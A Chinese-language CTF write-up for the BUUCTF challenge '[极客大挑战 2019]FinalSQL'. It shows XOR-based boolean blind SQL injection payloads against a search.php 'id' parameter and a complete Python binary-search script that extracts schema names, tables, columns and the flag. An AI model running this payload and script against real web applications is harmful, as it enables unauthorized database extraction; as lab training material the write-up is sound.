zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]FinalSQL

    [极客大挑战 2019]FinalSQL

    先骂出题人

    出题人是真的狗,废话不多说先放最后爆破的结果:

    cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{01d295cf-0c9c-44db-98ca-c7877048000a}
    

    真的傻了都,还好二分法比较给力,而且用代码解放双手,不然寄刀片了。

    找注入点

    好好做题。
    在这里插入图片描述
    提示用python爆破盲注了,神秘代码是啥,点一下发现url变了:

    http://c7f4deb2-e4eb-4cec-a2b4-6014fb5b6c2d.node3.buuoj.cn/search.php?id=1
    

    注入点应该是这里了,题目都提示了盲注,那想来一些关键词比如order by union 啥的都用不了了。

    然后确实也不能用。

    盲注的话主要有三个,布尔、时间、报错。
    本题是基于布尔的盲注。

    首先测试一下:

    ?id=1^1
    ?id=1^0
    

    在这里插入图片描述
    在这里插入图片描述
    这里使用异或操作来进行注入,1^1=0,0^0=0,1^0=1

    构造payload:

    ?id=1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=105)^1
    

    在这里插入图片描述
    然后构造脚本:

    import requests
    import time
    
    url = "http://c7f4deb2-e4eb-4cec-a2b4-6014fb5b6c2d.node3.buuoj.cn/search.php?"
    temp = {"id" : ""}
    column = ""
    for i in range(1,1000):
        time.sleep(0.06)
        low = 32
        high =128
        mid = (low+high)//2
        while(low<high):
            #库名
            temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid)
            #表名
            #temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
            #字段名
            #temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
            #内容
            #temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
            r = requests.get(url,params=temp)
            time.sleep(0.04)
            print(low,high,mid,":")
            if "Click" in r.text:
                low = mid+1
            else:
                high = mid
            mid =(low+high)//2
        if(mid ==32 or mid ==127):
            break
        column +=chr(mid)
        print(column)
        
    print("All:" ,column)
    

    爆到最后的flag已经贴在前面了,真的狗。
    在这里插入图片描述

  • 相关阅读:
    QT::目录/文件
    QT::标题栏/目录/托盘/工具条/状态栏
    QT::布局
    PHP 发送http请求
    php 图片缩放然后合成并保存
    PHP 打开已有图片进行编辑
    一些实用的方法整理(与语言无关)
    PHP 与pdf文档 与条码
    Excel导入遇到的问题An object with the same key already exists in the ObjectStateManager……
    【随笔】Apache降权和禁用PHP危险函数
  • 原文地址:https://www.cnblogs.com/shenjuxian/p/13976708.html
Copyright © 2011-2022 走看看